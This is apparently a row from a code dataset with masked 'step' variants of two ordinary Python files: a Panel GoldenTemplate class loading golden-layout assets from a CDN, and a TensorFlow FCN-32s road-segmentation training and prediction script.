code
stringlengths
13
6.09M
order_type
stringclasses
2 values
original_example
dict
step_ids
listlengths
1
5
""" GoldenTemplate based on the golden-layout library. """ from __future__ import annotations import pathlib from typing import TYPE_CHECKING, Literal import param from ...config import config from ...io.resources import JS_URLS from ..base import BasicTemplate if TYPE_CHECKING: from ...io.resources import ResourcesType class GoldenTemplate(BasicTemplate): """ GoldenTemplate is built on top of golden-layout library. """ sidebar_width = param.Integer(default=20, constant=True, doc=""" The width of the sidebar in percent.""") _css = pathlib.Path(__file__).parent / 'golden.css' _template = pathlib.Path(__file__).parent / 'golden.html' _resources = { 'css': { 'goldenlayout': f"{config.npm_cdn}/golden-layout@1.5.9/src/css/goldenlayout-base.css", 'golden-theme-dark': f"{config.npm_cdn}/golden-layout@1.5.9/src/css/goldenlayout-dark-theme.css", 'golden-theme-light': f"{config.npm_cdn}/golden-layout@1.5.9/src/css/goldenlayout-light-theme.css" }, 'js': { 'jquery': JS_URLS['jQuery'], 'goldenlayout': f"{config.npm_cdn}/golden-layout@1.5.9/dist/goldenlayout.min.js" } } def _apply_root(self, name, model, tags): if 'main' in tags: model.margin = (10, 15, 10, 10) def resolve_resources(self, cdn: bool | Literal['auto'] = 'auto') -> ResourcesType: resources = super().resolve_resources(cdn=cdn) del_theme = 'dark' if self._design.theme._name =='default' else 'light' del resources['css'][f'golden-theme-{del_theme}'] return resources
normal
{ "blob_id": "5bfb69d1608b397d6a19e663164a30089e4f67ad", "index": 2859, "step-1": "<mask token>\n\n\nclass GoldenTemplate(BasicTemplate):\n <mask token>\n sidebar_width = param.Integer(default=20, constant=True, doc=\n \"\"\"\n The width of the sidebar in percent.\"\"\")\n _css = pathlib.Path(__file__).parent / 'golden.css'\n _template = pathlib.Path(__file__).parent / 'golden.html'\n _resources = {'css': {'goldenlayout':\n f'{config.npm_cdn}/golden-layout@1.5.9/src/css/goldenlayout-base.css',\n 'golden-theme-dark':\n f'{config.npm_cdn}/golden-layout@1.5.9/src/css/goldenlayout-dark-theme.css'\n , 'golden-theme-light':\n f'{config.npm_cdn}/golden-layout@1.5.9/src/css/goldenlayout-light-theme.css'\n }, 'js': {'jquery': JS_URLS['jQuery'], 'goldenlayout':\n f'{config.npm_cdn}/golden-layout@1.5.9/dist/goldenlayout.min.js'}}\n\n def _apply_root(self, name, model, tags):\n if 'main' in tags:\n model.margin = 10, 15, 10, 10\n\n def resolve_resources(self, cdn: (bool | Literal['auto'])='auto'\n ) ->ResourcesType:\n resources = super().resolve_resources(cdn=cdn)\n del_theme = ('dark' if self._design.theme._name == 'default' else\n 'light')\n del resources['css'][f'golden-theme-{del_theme}']\n return resources\n", "step-2": "<mask token>\n\n\nclass GoldenTemplate(BasicTemplate):\n \"\"\"\n GoldenTemplate is built on top of golden-layout library.\n \"\"\"\n sidebar_width = param.Integer(default=20, constant=True, doc=\n \"\"\"\n The width of the sidebar in percent.\"\"\")\n _css = pathlib.Path(__file__).parent / 'golden.css'\n _template = pathlib.Path(__file__).parent / 'golden.html'\n _resources = {'css': {'goldenlayout':\n f'{config.npm_cdn}/golden-layout@1.5.9/src/css/goldenlayout-base.css',\n 'golden-theme-dark':\n f'{config.npm_cdn}/golden-layout@1.5.9/src/css/goldenlayout-dark-theme.css'\n , 'golden-theme-light':\n f'{config.npm_cdn}/golden-layout@1.5.9/src/css/goldenlayout-light-theme.css'\n }, 'js': {'jquery': JS_URLS['jQuery'], 'goldenlayout':\n f'{config.npm_cdn}/golden-layout@1.5.9/dist/goldenlayout.min.js'}}\n\n def _apply_root(self, name, model, tags):\n if 'main' in tags:\n model.margin = 10, 15, 10, 10\n\n def resolve_resources(self, cdn: (bool | Literal['auto'])='auto'\n ) ->ResourcesType:\n resources = super().resolve_resources(cdn=cdn)\n del_theme = ('dark' if self._design.theme._name == 'default' else\n 'light')\n del resources['css'][f'golden-theme-{del_theme}']\n return resources\n", "step-3": "<mask token>\nif TYPE_CHECKING:\n from ...io.resources import ResourcesType\n\n\nclass GoldenTemplate(BasicTemplate):\n \"\"\"\n GoldenTemplate is built on top of golden-layout library.\n \"\"\"\n sidebar_width = param.Integer(default=20, constant=True, doc=\n \"\"\"\n The width of the sidebar in percent.\"\"\")\n _css = pathlib.Path(__file__).parent / 'golden.css'\n _template = pathlib.Path(__file__).parent / 'golden.html'\n _resources = {'css': {'goldenlayout':\n f'{config.npm_cdn}/golden-layout@1.5.9/src/css/goldenlayout-base.css',\n 'golden-theme-dark':\n f'{config.npm_cdn}/golden-layout@1.5.9/src/css/goldenlayout-dark-theme.css'\n , 'golden-theme-light':\n f'{config.npm_cdn}/golden-layout@1.5.9/src/css/goldenlayout-light-theme.css'\n }, 'js': {'jquery': JS_URLS['jQuery'], 'goldenlayout':\n f'{config.npm_cdn}/golden-layout@1.5.9/dist/goldenlayout.min.js'}}\n\n def _apply_root(self, name, model, tags):\n if 'main' in tags:\n model.margin = 10, 15, 10, 10\n\n def resolve_resources(self, cdn: (bool | Literal['auto'])='auto'\n ) ->ResourcesType:\n resources = super().resolve_resources(cdn=cdn)\n del_theme = ('dark' if self._design.theme._name == 'default' else\n 'light')\n del resources['css'][f'golden-theme-{del_theme}']\n return resources\n", "step-4": "<mask token>\nfrom __future__ import annotations\nimport pathlib\nfrom typing import TYPE_CHECKING, Literal\nimport param\nfrom ...config import config\nfrom ...io.resources import JS_URLS\nfrom ..base import BasicTemplate\nif TYPE_CHECKING:\n from ...io.resources import ResourcesType\n\n\nclass GoldenTemplate(BasicTemplate):\n \"\"\"\n GoldenTemplate is built on top of golden-layout library.\n \"\"\"\n sidebar_width = param.Integer(default=20, constant=True, doc=\n \"\"\"\n The width of the sidebar in percent.\"\"\")\n _css = pathlib.Path(__file__).parent / 'golden.css'\n _template = pathlib.Path(__file__).parent / 'golden.html'\n _resources = {'css': {'goldenlayout':\n f'{config.npm_cdn}/golden-layout@1.5.9/src/css/goldenlayout-base.css',\n 'golden-theme-dark':\n f'{config.npm_cdn}/golden-layout@1.5.9/src/css/goldenlayout-dark-theme.css'\n , 'golden-theme-light':\n f'{config.npm_cdn}/golden-layout@1.5.9/src/css/goldenlayout-light-theme.css'\n }, 'js': {'jquery': JS_URLS['jQuery'], 'goldenlayout':\n f'{config.npm_cdn}/golden-layout@1.5.9/dist/goldenlayout.min.js'}}\n\n def _apply_root(self, name, model, tags):\n if 'main' in tags:\n model.margin = 10, 15, 10, 10\n\n def resolve_resources(self, cdn: (bool | Literal['auto'])='auto'\n ) ->ResourcesType:\n resources = super().resolve_resources(cdn=cdn)\n del_theme = ('dark' if self._design.theme._name == 'default' else\n 'light')\n del resources['css'][f'golden-theme-{del_theme}']\n return resources\n", "step-5": "\"\"\"\nGoldenTemplate based on the golden-layout library.\n\"\"\"\nfrom __future__ import annotations\n\nimport pathlib\n\nfrom typing import TYPE_CHECKING, Literal\n\nimport param\n\nfrom ...config import config\nfrom ...io.resources import JS_URLS\nfrom ..base import BasicTemplate\n\nif TYPE_CHECKING:\n from ...io.resources import ResourcesType\n\n\nclass GoldenTemplate(BasicTemplate):\n \"\"\"\n GoldenTemplate is built on top of golden-layout library.\n \"\"\"\n\n sidebar_width = param.Integer(default=20, constant=True, doc=\"\"\"\n The width of the sidebar in percent.\"\"\")\n\n _css = pathlib.Path(__file__).parent / 'golden.css'\n\n _template = pathlib.Path(__file__).parent / 'golden.html'\n\n _resources = {\n 'css': {\n 'goldenlayout': f\"{config.npm_cdn}/golden-layout@1.5.9/src/css/goldenlayout-base.css\",\n 'golden-theme-dark': f\"{config.npm_cdn}/golden-layout@1.5.9/src/css/goldenlayout-dark-theme.css\",\n 'golden-theme-light': f\"{config.npm_cdn}/golden-layout@1.5.9/src/css/goldenlayout-light-theme.css\"\n },\n 'js': {\n 'jquery': JS_URLS['jQuery'],\n 'goldenlayout': f\"{config.npm_cdn}/golden-layout@1.5.9/dist/goldenlayout.min.js\"\n }\n }\n\n def _apply_root(self, name, model, tags):\n if 'main' in tags:\n model.margin = (10, 15, 10, 10)\n\n def resolve_resources(self, cdn: bool | Literal['auto'] = 'auto') -> ResourcesType:\n resources = super().resolve_resources(cdn=cdn)\n del_theme = 'dark' if self._design.theme._name =='default' else 'light'\n del resources['css'][f'golden-theme-{del_theme}']\n return resources\n", "step-ids": [ 4, 5, 6, 7, 8 ] }
[ 4, 5, 6, 7, 8 ]
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Mon Nov 26 23:42:11 2018 @author: pohsuanh Fully Covolutional Network FCN-32s. FCN-32s network is based on VGG-16 """ import os import tensorflow as tf import numpy as np import matplotlib.pyplot as plt import data_load from datetime import datetime tf.logging.set_verbosity(tf.logging.INFO) # assign each run to a separate log file, so the tensorboard can function properly. now = datetime.utcnow().strftime("%Y%m%d%H%M%S") root_logdir = "logs" logdir = "{}/run-{}/".format(root_logdir,now) def fcn_model_fn(features, labels, mode): L2 = tf.contrib.layers.l2_regularizer(scale=0.1) trainable = False if mode == tf.estimator.ModeKeys.TRAIN : trainable = True seed = 2019 with tf.name_scope("vgg16_pretrained"): x = tf.layers.conv2d(features, 64, (3, 3), activation='relu', padding='same', name='conv1_1', kernel_regularizer= L2, trainable = trainable) x = tf.layers.dropout(x, rate = 0.4, seed = seed, training = trainable , name ='dp1_1') x = tf.layers.conv2d(x, 64, (3, 3), activation='relu', padding='same', name='conv1_2', kernel_regularizer= L2, trainable = trainable) x = tf.layers.dropout(x, rate = 0.4, seed = seed, training = trainable , name ='dp1_2') x = tf.layers.max_pooling2d(x, (2, 2), strides=(2, 2), name='pool1') # Block 2 x = tf.layers.conv2d(x, 128, (3, 3), activation='relu', padding='same', name='conv2_1', kernel_regularizer= L2, trainable = trainable) x = tf.layers.dropout(x, rate = 0.4, seed = seed, training = trainable , name ='dp2_1') x = tf.layers.conv2d(x, 128, (3, 3), activation='relu', padding='same', name='conv2-2', kernel_regularizer= L2, trainable = trainable) x = tf.layers.dropout(x, rate = 0.4, seed = seed, training = trainable , name ='dp2_2') x = tf.layers.max_pooling2d(x,(2, 2), strides=(2, 2), name='pool2') # Block 3 x = tf.layers.conv2d (x, 256, (3, 3), activation='relu', padding='same', name='conv3_1', kernel_regularizer= L2, trainable = trainable) x = tf.layers.dropout(x, rate = 0.4, seed = seed, training = trainable , name ='dp3_1') x = tf.layers.conv2d (x, 256, (3, 3), activation='relu', padding='same', name='conv3_2', kernel_regularizer= L2, trainable = trainable) x = tf.layers.dropout(x, rate = 0.4, seed = seed, training = trainable , name ='dp3_2') x = tf.layers.conv2d (x, 256, (3, 3), activation='relu', padding='same', name='conv3_3', kernel_regularizer= L2, trainable = trainable) x = tf.layers.dropout(x, rate = 0.4, seed = seed, training = trainable , name ='dp3_3') x = tf.layers.max_pooling2d(x, (2, 2), strides=(2, 2), name='pool3') # Block 4 x = tf.layers.conv2d (x, 512, (3, 3), activation='relu', padding='same', name='conv4_1', kernel_regularizer= L2, trainable = trainable) x = tf.layers.dropout(x, rate = 0.4, seed = seed, training = trainable , name ='dp4_1') x = tf.layers.conv2d (x, 512, (3, 3), activation='relu', padding='same', name='conv4_2', kernel_regularizer= L2, trainable = trainable) x = tf.layers.dropout(x, rate = 0.4, seed = seed, training = trainable , name ='dp4_2') x = tf.layers.conv2d (x, 512, (3, 3), activation='relu', padding='same', name='conv4_3', kernel_regularizer= L2, trainable = trainable) x = tf.layers.dropout(x, rate = 0.4, seed = seed, training = trainable , name ='dp4_3') x = tf.layers.max_pooling2d(x, (2, 2), strides=(2, 2), name='pool4') # Block 5 x = tf.layers.conv2d (x, 512, (3, 3), activation='relu', padding='same', name='conv5_1', kernel_regularizer= L2, trainable = trainable) x = tf.layers.dropout(x, rate = 0.4, seed = seed, training = trainable , name ='dp5_1') x = tf.layers.conv2d (x, 512, (3, 3), activation='relu', padding='same', name='conv5_2', kernel_regularizer= L2, trainable = trainable) x = tf.layers.dropout(x, rate = 0.4, seed = seed, training = trainable , name ='dp5_2') x = tf.layers.conv2d (x, 512, (3, 3), activation='relu', padding='same', name='conv5_3', kernel_regularizer= L2, trainable = trainable) x = tf.layers.dropout(x, rate = 0.4, seed = seed, training = trainable , name ='dp5_3') x = tf.layers.max_pooling2d(x, (2, 2), strides=(2, 2), name='pool5') with tf.name_scope("deconv_layers"): # Block 6 x = tf.layers.conv2d(x, 4096, (7,7), activation='relu', padding='same', name='conv6_1', kernel_regularizer= L2, trainable = trainable) x = tf.layers.dropout(x, rate = 0.4, seed = seed, training = trainable , name ='dp6_1') x = tf.layers.conv2d(x, 4096, (1,1), activation='relu', padding='same', name='conv6_2', kernel_regularizer= L2, trainable = trainable) x = tf.layers.dropout(x, rate = 0.4, seed = seed, training = trainable , name ='dp6_2') x = tf.layers.conv2d(x, 1, (1,1), activation='relu', padding='same', name='conv6_3', kernel_regularizer= L2, trainable = trainable) x = tf.layers.dropout(x, rate = 0.4, seed = seed, training = trainable , name ='dp6_3') # There are two classes [1: road, 0: non-road] heatmap = tf.layers.conv2d_transpose(x, 1, (64,64), strides=(32,32), activation='linear', padding='same', name='deconv6_1', kernel_regularizer= L2, trainable = trainable) logit = tf.nn.sigmoid(heatmap, name = 'logit') pred = tf.to_int32(logit > 0.5) pred = tf.squeeze(pred, axis = 3) # print(heatmap.shape) # Do pixel-wise classification : predictions = { # Generate predictions (for PREDICT and EVAL mode) "classes": pred, # tf.argmax(logit, axis =3 ) # Add `softmax_tensor` to the graph. It is used for PREDICT and by the logging_hook`. "probabilities": logit #tf.nn.softmax(logit, name="softmax_tensor") } if mode == tf.estimator.ModeKeys.PREDICT: return tf.estimator.EstimatorSpec(mode=mode, predictions=predictions) # Calculate Loss (for both TRAIN and EVAL modes) # Homework requires tf.nn.sigmoid_cross_entropy_with_logits() if False : # ignore where label is -1 , which corresponds to Void. logit_f = tf.reshape(heatmap, (-1,1,1,1)) # flatten the output logit_f = tf.squeeze(logit_f, axis = [2,3]) label_f = tf.reshape(labels,(-1,1)) keep = tf.where(tf.greater_equal(labels, 0) ) logit_f = tf.gather(logit_f, keep) label_f = tf.gather(label_f, keep) tf.assert_equal(tf.shape(label_f)[0], tf.shape(logit_f)[0]) tf.assert_non_negative(label_f) # Void is labelled -1, which should be excluded from the loss func # sigmoid_cross_entorpy implements tf.nn.sparse_signoid_cross_entropy_with_logit, # it will convert output to logit in the op loss = tf.losses.sigmoid_cross_entropy(multi_class_labels = label_f, logits=logit_f) heatmap = tf.squeeze(heatmap, axis =3) label_f = tf.to_int32(labels > 0) tf.assert_equal(tf.shape(label_f), tf.shape(heatmap)) tf.assert_non_negative(label_f) loss = tf.losses.sigmoid_cross_entropy( multi_class_labels = label_f ,logits = heatmap) # Configure the trainable Op (for TRAIN mode) if mode == tf.estimator.ModeKeys.TRAIN: optimizer = tf.train.MomentumOptimizer(learning_rate=0.001, momentum = 0.99) train_op = optimizer.minimize(loss=loss, global_step = tf.train.get_global_step()) tf.summary.scalar('train_loss', loss) return tf.estimator.EstimatorSpec(mode=mode, loss=loss, train_op=train_op) # Add evaluation metrics (for EVAL mode) # Set up logging for metrics iou = tf.metrics.mean_iou(label_f,predictions['classes'], num_classes = 2 , name = 'mean_iou') eval_metric_ops = {"IoU": iou} tensors_to_log_prob = {"probabilities": "deconv_layers/logit"} tensors_to_log_iou = {"mean_iou": iou} tf.summary.scalar('mean_iou', iou[0]) logging_hook = tf.train.LoggingTensorHook( tensors=tensors_to_log_iou, every_n_iter=200) if mode == tf.estimator.ModeKeys.EVAL : tf.summary.scalar('eval_loss', loss) return tf.estimator.EstimatorSpec(mode=mode, loss=loss, eval_metric_ops = eval_metric_ops) #%% if __name__ == "__main__": root_dir = '/home/pohsuanh/Documents/Computer_Vision/HW6' # Load training and eval data train_data, eval_data, test_data, gt = data_load.load() # Flags TRAIN = False PREDICT = True DRAW_SAMPLE = False # Construct model if DRAW_SAMPLE == True : # pic = np.random.randint((test_data['x']).shape[0]) pic = np.random.randint(len(test_data['x'])) image_sample = test_data['x'][pic] label_sample = test_data['y'][pic] # image_sample = tf.Session().run(image_sample) # # label_sample = tf.Session().run(label_sample) plt.figure(figsize=(20,40)) plt.title('data') plt.imshow(image_sample) plt.figure(figsize =(20,40)) plt.title('gt') plt.imshow(label_sample) # Create the Estimator pretrained_weights = tf.estimator.WarmStartSettings( ckpt_to_initialize_from=os.path.join(root_dir,'pretrained_weights','vgg_16.ckpt'), vars_to_warm_start= tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope = 'vgg16_pretrained')) fcn_segmentor = tf.estimator.Estimator( model_fn=fcn_model_fn, model_dir=os.path.join(root_dir, 'ckpts'), warm_start_from= pretrained_weights) if TRAIN == True : for epoch in range(100): # Train the model train_input_fn = tf.estimator.inputs.numpy_input_fn( x=train_data['x'], y=train_data['y'], batch_size=1, num_epochs=None, # number of epochs to iterate over data. If None will run forever. shuffle=True) fcn_segmentor.train( input_fn=train_input_fn, steps=200 ) # Evaluate the model and print results eval_input_fn = tf.estimator.inputs.numpy_input_fn( x=eval_data['x'], y=eval_data['y'], num_epochs=1, batch_size=10, shuffle=False) eval_results = fcn_segmentor.evaluate(input_fn=eval_input_fn) print('eval_loss :', eval_results) #%% We withhold the predction from test set untill all the hyperparameters are finetuned. if PREDICT == True : pred_input_fn = tf.estimator.inputs.numpy_input_fn( x=test_data['x'], y=test_data['y'], batch_size =1, num_epochs=1, shuffle=False) # predict method returns a generator pred = list( fcn_segmentor.predict(input_fn = pred_input_fn)) pred = [p['classes'] for p in pred] fig = plt.figure(1, figsize=(32,16)) for i, p in enumerate(pred) : fig.add_subplot(3,1,1) plt.title('camera photo') plt.imshow(test_data['x'][i]) fig.add_subplot(3,1,2) plt.title('prediction') plt.imshow(p) fig.add_subplot(3,1,3) plt.title('ground truth') plt.imshow(gt['test'][i]) filename = 'pred_{}.png'.format(i) plt.savefig(os.path.join(root_dir,'predictions',filename))
normal
{ "blob_id": "df6fa0409500f97e5afde8f97796d6ed0cc4d746", "index": 1330, "step-1": "<mask token>\n\n\ndef fcn_model_fn(features, labels, mode):\n L2 = tf.contrib.layers.l2_regularizer(scale=0.1)\n trainable = False\n if mode == tf.estimator.ModeKeys.TRAIN:\n trainable = True\n seed = 2019\n with tf.name_scope('vgg16_pretrained'):\n x = tf.layers.conv2d(features, 64, (3, 3), activation='relu',\n padding='same', name='conv1_1', kernel_regularizer=L2,\n trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp1_1')\n x = tf.layers.conv2d(x, 64, (3, 3), activation='relu', padding=\n 'same', name='conv1_2', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp1_2')\n x = tf.layers.max_pooling2d(x, (2, 2), strides=(2, 2), name='pool1')\n x = tf.layers.conv2d(x, 128, (3, 3), activation='relu', padding=\n 'same', name='conv2_1', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp2_1')\n x = tf.layers.conv2d(x, 128, (3, 3), activation='relu', padding=\n 'same', name='conv2-2', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp2_2')\n x = tf.layers.max_pooling2d(x, (2, 2), strides=(2, 2), name='pool2')\n x = tf.layers.conv2d(x, 256, (3, 3), activation='relu', padding=\n 'same', name='conv3_1', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp3_1')\n x = tf.layers.conv2d(x, 256, (3, 3), activation='relu', padding=\n 'same', name='conv3_2', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp3_2')\n x = tf.layers.conv2d(x, 256, (3, 3), activation='relu', padding=\n 'same', name='conv3_3', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp3_3')\n x = tf.layers.max_pooling2d(x, (2, 2), strides=(2, 2), name='pool3')\n x = tf.layers.conv2d(x, 512, (3, 3), activation='relu', padding=\n 'same', name='conv4_1', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp4_1')\n x = tf.layers.conv2d(x, 512, (3, 3), activation='relu', padding=\n 'same', name='conv4_2', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp4_2')\n x = tf.layers.conv2d(x, 512, (3, 3), activation='relu', padding=\n 'same', name='conv4_3', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp4_3')\n x = tf.layers.max_pooling2d(x, (2, 2), strides=(2, 2), name='pool4')\n x = tf.layers.conv2d(x, 512, (3, 3), activation='relu', padding=\n 'same', name='conv5_1', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp5_1')\n x = tf.layers.conv2d(x, 512, (3, 3), activation='relu', padding=\n 'same', name='conv5_2', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp5_2')\n x = tf.layers.conv2d(x, 512, (3, 3), activation='relu', padding=\n 'same', name='conv5_3', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp5_3')\n x = tf.layers.max_pooling2d(x, (2, 2), strides=(2, 2), name='pool5')\n with tf.name_scope('deconv_layers'):\n x = tf.layers.conv2d(x, 4096, (7, 7), activation='relu', padding=\n 'same', name='conv6_1', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp6_1')\n x = tf.layers.conv2d(x, 4096, (1, 1), activation='relu', padding=\n 'same', name='conv6_2', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp6_2')\n x = tf.layers.conv2d(x, 1, (1, 1), activation='relu', padding=\n 'same', name='conv6_3', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp6_3')\n heatmap = tf.layers.conv2d_transpose(x, 1, (64, 64), strides=(32, \n 32), activation='linear', padding='same', name='deconv6_1',\n kernel_regularizer=L2, trainable=trainable)\n logit = tf.nn.sigmoid(heatmap, name='logit')\n pred = tf.to_int32(logit > 0.5)\n pred = tf.squeeze(pred, axis=3)\n predictions = {'classes': pred, 'probabilities': logit}\n if mode == tf.estimator.ModeKeys.PREDICT:\n return tf.estimator.EstimatorSpec(mode=mode, predictions=predictions)\n if False:\n logit_f = tf.reshape(heatmap, (-1, 1, 1, 1))\n logit_f = tf.squeeze(logit_f, axis=[2, 3])\n label_f = tf.reshape(labels, (-1, 1))\n keep = tf.where(tf.greater_equal(labels, 0))\n logit_f = tf.gather(logit_f, keep)\n label_f = tf.gather(label_f, keep)\n tf.assert_equal(tf.shape(label_f)[0], tf.shape(logit_f)[0])\n tf.assert_non_negative(label_f)\n loss = tf.losses.sigmoid_cross_entropy(multi_class_labels=label_f,\n logits=logit_f)\n heatmap = tf.squeeze(heatmap, axis=3)\n label_f = tf.to_int32(labels > 0)\n tf.assert_equal(tf.shape(label_f), tf.shape(heatmap))\n tf.assert_non_negative(label_f)\n loss = tf.losses.sigmoid_cross_entropy(multi_class_labels=label_f,\n logits=heatmap)\n if mode == tf.estimator.ModeKeys.TRAIN:\n optimizer = tf.train.MomentumOptimizer(learning_rate=0.001,\n momentum=0.99)\n train_op = optimizer.minimize(loss=loss, global_step=tf.train.\n get_global_step())\n tf.summary.scalar('train_loss', loss)\n return tf.estimator.EstimatorSpec(mode=mode, loss=loss, train_op=\n train_op)\n iou = tf.metrics.mean_iou(label_f, predictions['classes'], num_classes=\n 2, name='mean_iou')\n eval_metric_ops = {'IoU': iou}\n tensors_to_log_prob = {'probabilities': 'deconv_layers/logit'}\n tensors_to_log_iou = {'mean_iou': iou}\n tf.summary.scalar('mean_iou', iou[0])\n logging_hook = tf.train.LoggingTensorHook(tensors=tensors_to_log_iou,\n every_n_iter=200)\n if mode == tf.estimator.ModeKeys.EVAL:\n tf.summary.scalar('eval_loss', loss)\n return tf.estimator.EstimatorSpec(mode=mode, loss=loss,\n eval_metric_ops=eval_metric_ops)\n\n\n<mask token>\n", "step-2": "<mask token>\ntf.logging.set_verbosity(tf.logging.INFO)\n<mask token>\n\n\ndef fcn_model_fn(features, labels, mode):\n L2 = tf.contrib.layers.l2_regularizer(scale=0.1)\n trainable = False\n if mode == tf.estimator.ModeKeys.TRAIN:\n trainable = True\n seed = 2019\n with tf.name_scope('vgg16_pretrained'):\n x = tf.layers.conv2d(features, 64, (3, 3), activation='relu',\n padding='same', name='conv1_1', kernel_regularizer=L2,\n trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp1_1')\n x = tf.layers.conv2d(x, 64, (3, 3), activation='relu', padding=\n 'same', name='conv1_2', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp1_2')\n x = tf.layers.max_pooling2d(x, (2, 2), strides=(2, 2), name='pool1')\n x = tf.layers.conv2d(x, 128, (3, 3), activation='relu', padding=\n 'same', name='conv2_1', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp2_1')\n x = tf.layers.conv2d(x, 128, (3, 3), activation='relu', padding=\n 'same', name='conv2-2', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp2_2')\n x = tf.layers.max_pooling2d(x, (2, 2), strides=(2, 2), name='pool2')\n x = tf.layers.conv2d(x, 256, (3, 3), activation='relu', padding=\n 'same', name='conv3_1', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp3_1')\n x = tf.layers.conv2d(x, 256, (3, 3), activation='relu', padding=\n 'same', name='conv3_2', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp3_2')\n x = tf.layers.conv2d(x, 256, (3, 3), activation='relu', padding=\n 'same', name='conv3_3', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp3_3')\n x = tf.layers.max_pooling2d(x, (2, 2), strides=(2, 2), name='pool3')\n x = tf.layers.conv2d(x, 512, (3, 3), activation='relu', padding=\n 'same', name='conv4_1', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp4_1')\n x = tf.layers.conv2d(x, 512, (3, 3), activation='relu', padding=\n 'same', name='conv4_2', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp4_2')\n x = tf.layers.conv2d(x, 512, (3, 3), activation='relu', padding=\n 'same', name='conv4_3', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp4_3')\n x = tf.layers.max_pooling2d(x, (2, 2), strides=(2, 2), name='pool4')\n x = tf.layers.conv2d(x, 512, (3, 3), activation='relu', padding=\n 'same', name='conv5_1', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp5_1')\n x = tf.layers.conv2d(x, 512, (3, 3), activation='relu', padding=\n 'same', name='conv5_2', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp5_2')\n x = tf.layers.conv2d(x, 512, (3, 3), activation='relu', padding=\n 'same', name='conv5_3', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp5_3')\n x = tf.layers.max_pooling2d(x, (2, 2), strides=(2, 2), name='pool5')\n with tf.name_scope('deconv_layers'):\n x = tf.layers.conv2d(x, 4096, (7, 7), activation='relu', padding=\n 'same', name='conv6_1', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp6_1')\n x = tf.layers.conv2d(x, 4096, (1, 1), activation='relu', padding=\n 'same', name='conv6_2', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp6_2')\n x = tf.layers.conv2d(x, 1, (1, 1), activation='relu', padding=\n 'same', name='conv6_3', kernel_regularizer=L2, trainable=trainable)\n x = tf.layers.dropout(x, rate=0.4, seed=seed, training=trainable,\n name='dp6_3')\n heatmap = tf.layers.conv2d_transpose(x, 1, (64, 64), strides=(32, \n 32), activation='linear', padding='same', name='deconv6_1',\n kernel_regularizer=L2, trainable=trainable)\n logit = tf.nn.sigmoid(heatmap, name='logit')\n pred = tf.to_int32(logit > 0.5)\n pred = tf.squeeze(pred, axis=3)\n predictions = {'classes': pred, 'probabilities': logit}\n if mode == tf.estimator.ModeKeys.PREDICT:\n return tf.estimator.EstimatorSpec(mode=mode, predictions=predictions)\n if False:\n logit_f = tf.reshape(heatmap, (-1, 1, 1, 1))\n logit_f = tf.squeeze(logit_f, axis=[2, 3])\n label_f = tf.reshape(labels, (-1, 1))\n keep = tf.where(tf.greater_equal(labels, 0))\n logit_f = tf.gather(logit_f, keep)\n label_f = tf.gather(label_f, keep)\n tf.assert_equal(tf.shape(label_f)[0], tf.shape(logit_f)[0])\n 